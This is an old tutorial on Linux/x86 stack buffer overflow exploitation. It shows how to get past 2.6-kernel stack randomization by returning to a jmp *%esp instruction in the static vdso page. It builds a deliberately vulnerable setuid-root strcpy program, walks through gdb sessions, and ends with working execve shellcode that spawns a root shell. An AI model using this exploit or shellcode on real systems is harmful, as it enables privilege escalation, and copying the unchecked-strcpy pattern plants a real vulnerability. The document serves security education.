Returning to %esp (Circumventing the VA kernel patch For Fun and Profit) By phetips [at] gmail.com on a linux/x86 platform. After reading quite a few papers on stack based buffer overflow exploiting I hadn't managed to exploit a single stack based buffer overflow myself. I got quite frustrated and even decided to give up (on more than one occasion). In a weird kind of inspirational mood I was determined to figure it out, but didn't. I was lazy and wasn't sure why exactly I couldn't even replicate what the papers showed me. Ah well I guess we can't all be 1337. I was lucky to have two kind Dutch hackers help me out though, twan from HDNL and eSDee from netric, and now I finally managed to exploit a simple example stack based buffer overflow vulnerability. You might be thinking "Why would I care about that?" at this point... Well how the fuck am I supposed to know; you're reading this crap, aren't you? It's time for some technical details. __________________________________ phetips@phetips-laptop:~$ uname -r 2.6.15-27-386 __________________________________ The reason of my frustrating failures in trying to exploit a stack based buffer overflow vulnerability was that I was (still am) using a 2.6.x linux kernel. Our dear open-source friends decided to make buffer overflow exploiting a bit harder in the 2.6 kernels by applying their so-called VA patch. The effects of this patch can be seen by running 'cat /proc/self/maps' a couple of times: __________________________________ phetips@phetips-laptop:~$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 16:01 12206098 /bin/cat 0804c000-0804d000 rw-p 00003000 16:01 12206098 /bin/cat 0804d000-0806e000 rw-p 0804d000 00:00 0 [heap] [took away some crap for clarity] bf901000-bf916000 rw-p bf901000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] phetips@phetips-laptop:~$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 16:01 12206098 /bin/cat 0804c000-0804d000 rw-p 00003000 16:01 12206098 /bin/cat 0804d000-0806e000 rw-p 0804d000 00:00 0 [heap] [cut some crap again] bfc2f000-bfc45000 rw-p bfc2f000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] __________________________________ The stack has a different starting address every time the program is run. So why is this a problem? In oldskool stack based buffer overflow exploiting (before the VA patch), you would place your shellcode in your overflowable buffer (there are other ways to do this, but let's just stick with this for a second) and try to 'guess' the right address for your shellcode so you know what to overwrite the saved EIP with. If this doesn't make sense to you, you should read Smashing the Stack for Fun and Profit by Aleph One. So how is this address guessed? Well, in linux kernels without the VA patch enabled the stack always starts at the same address. So it was just a matter of guessing the right offset from the stack pointer (%esp) to your shellcode. Again, I might not be very clear about this: go read Aleph One's paper if this doesn't make sense to you. This method of guessing the right offset is clearly not possible on 2.6 kernels because of the randomization of the stack address. Now how do we solve this problem? You might have noticed the [vdso] in the output of cat /proc/self/maps and you might've even noticed that it's address is static: it's the same every time we execute cat. We're going to use this fact to exploit our stack based buffer overflow vulnerability using my 2.6.15-27-386 linux kernel. "What stack based buffer overflow vulnerability?"; right, time to create one: __________________________________ phetips@phetips-laptop:~/dev/shellcode_etc$ cat vuln1.c #include #include int main(int argc, char **argv) { char buffer[20]; strcpy(buffer, argv[1]); return 0; } phetips@phetips-laptop:~/dev/shellcode_etc$ gcc vuln1.c -o vuln1 phetips@phetips-laptop:~/dev/shellcode_etc$ sudo -u root chown root.root ./vuln1 Password: phetips@phetips-laptop:~/dev/shellcode_etc$ sudo -u root chmod +s ./vuln1 _______________________________ Okay so let's check this vulnerability out with gdb for a second. And again if you don't understand what's happening here, Aleph One is your man. _______________________________ phetips@phetips-laptop:~/dev/shellcode_etc$ gdb ./vuln1 [crap] (gdb) run `perl -e 'print "a" x24 . "b" x4'` Starting program: /home/phetips/dev/shellcode_etc/vuln1 `perl -e 'print "a" x24 . "b" x4'` Program received signal SIGSEGV, Segmentation fault. 0x62626262 in ?? () (gdb) i r eax 0x0 0 ecx 0xffffe1e6 -7706 edx 0xbfba99ba -1078289990 ebx 0xb7f7fadc -1208485156 esp 0xbfba7ba0 0xbfba7ba0 ebp 0x61616161 0x61616161 esi 0xbfba7c24 -1078297564 edi 0xbfba7bb0 -1078297680 eip 0x62626262 0x62626262 eflags 0x10246 66118 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 _______________________________ So, we've got our 20-bytes long buffer, 4 bytes for the saved stack pointer (note the 0x61's in %ebp) and then 4 bytes for our saved %eip. So what the hell do we want in %eip anyways? We want the address of our shellcode in %eip! But since the VA patch doesn't want us to know that address, we're going to have to get the address from somewhere else. Think about it; we need to know where the vulnerable app's stack is, but we can't find out. The program itself knows where the stack is though (it has it's %esp), so if we could make the vulnerable program itself jump to %esp and make sure our shellcode is at %esp we would have owned the app. So we should overwrite %eip with the address of a memory location which contains the opcodes for jmp *%esp (call *%esp will do just fine too). Remember the [vdso] thingy that /proc/self/maps told us about? Now what exactly is it? It's linux-gate.so.1: a virtual dynamically shared object which is put in a process's virtual memory by the kernel, at a static address . What it's meant for exactly isn't really important to us, what's more important is that it's address is static. It's a good place to look for our jmp *%esp opcodes! Let's go. _______________________________ phetips@phetips-laptop:~/dev/shellcode_etc$ ldd ./vuln1 linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dc9000) /lib/ld-linux.so.2 (0x80000000) phetips@phetips-laptop:~/dev/shellcode_etc$ gdb ./vuln1 [crap] (gdb) start keanu reeves Breakpoint 1 at 0x8048366 Starting program: /home/phetips/dev/shellcode_etc/vuln1 keanu reeves 0x08048366 in main () (gdb) x/i 0xffffe000 0xffffe000: jg 0xffffe047 (gdb) x/1000 0xffffe000 [crap] 0xffffe777: jmp *%esp [crap] _______________________________ We found our jmp *%esp instruction! Note that this is not actually a jmp *%esp instruction, it is just data that when interpreted as instructions happens to be a jmp *%esp instruction. C'mon, what sane application would jmp to %esp? (hihi.) So we overwrite the saved EIP with the address of the jmp *%esp opcodes (0xffffe777) and thus make the vulnerable program jump to %esp. So where do we want our shellcode to be? At the bottom of the stack (at %esp)! DuhhhhhhhhhhH!1111!111. Let's have a look at what our dear vulnerable app's stack looks like after the call to strcpy. _______________________________ phetips@phetips-laptop:~/dev/shellcode_etc$ gdb ./vuln1 [crap once again] (gdb) disas main Dump of assembler code for function main: 0x08048360 : push %ebp 0x08048361 : mov %esp,%ebp 0x08048363 : sub $0x28,%esp 0x08048366 : and $0xfffffff0,%esp 0x08048369 : mov $0x0,%eax 0x0804836e : add $0xf,%eax 0x08048371 : add $0xf,%eax 0x08048374 : shr $0x4,%eax 0x08048377 : shl $0x4,%eax 0x0804837a : sub %eax,%esp 0x0804837c : mov 0xc(%ebp),%eax 0x0804837f : add $0x4,%eax 0x08048382 : mov (%eax),%eax 0x08048384 : mov %eax,0x4(%esp) 0x08048388 : lea 0xffffffec(%ebp),%eax 0x0804838b : mov %eax,(%esp) 0x0804838e : call 0x80482b0 0x08048393 : mov $0x0,%eax 0x08048398 : leave 0x08048399 : ret 0x0804839a : nop 0x0804839b : nop (gdb) start AAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1 at 0x8048366 Starting program: /home/phetips/dev/shellcode_etc/vuln1 AAAAAAAAAAAAAAAAAAAAAAAAA [stepping through instructions of main] (gdb) nexti 0x08048393 in main () (gdb) x/i $eip 0x8048393 : mov $0x0,%eax <== we're now right after the call to to strcpy (gdb) x/50 $esp 0xbfbc6520: 0xbfbc6544 0xbfbc79a1 0xbfbc6538 0x0804828d 0xbfbc6530: 0xb7f9dadc 0xbfbc65f0 0xbfbc6558 0x080483b7 0xbfbc6540: 0x00000002 0x41414141 0x41414141 0x41414141 0xbfbc6550: 0x41414141 0x41414141 0x41414141 0xb7e80041 <== saved %eip just before our string of A's (0x41) [cut] _______________________________ Okay, so right after the call to strcpy we see some crap on the top of the stack, then our string, then the saved ebp (which is overwritten with 0x41414141) and then the saved %eip. What happens if the program continues? _______________________________ (gdb) nexti 0x08048398 in main () (gdb) x/i $eip 0x8048398 : leave (gdb) nexti Cannot access memory at address 0x41414145 <== Tries to access 4(%ebp), not really important here. _______________________________ The last thing the program does before returning to the jmp *%esp instruction is executing the leave instruction. This instruction pops the saved ebp back into %ebp and sets %esp back to point to point to our saved %eip. The next instruction is RET, which will pop the value we've overwritten the saved eip with into %eip. The program now tries to jump to %esp. We've just seen that %eip now points to right after the saved EIP. This is were we want our shellcode! _______________________________ phetips@phetips-laptop:~/dev/shellcode_etc$ ./vuln1 `perl -e 'print "\x41" x 24 . "\x77\xe7\xff\xff" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` sh-3.1# whoami root _______________________________ See? I put the buffer and the saved stack pointer full with \x41 (print "\x41" x 24), overwritten the saved eip with the address to the jmp *%esp instruction ("\x77\xe7\xff\xff") and put my shellcode right after the saved eip so %esp will point to it when the app returns to our lovely jmp *%esp instruction. Yay.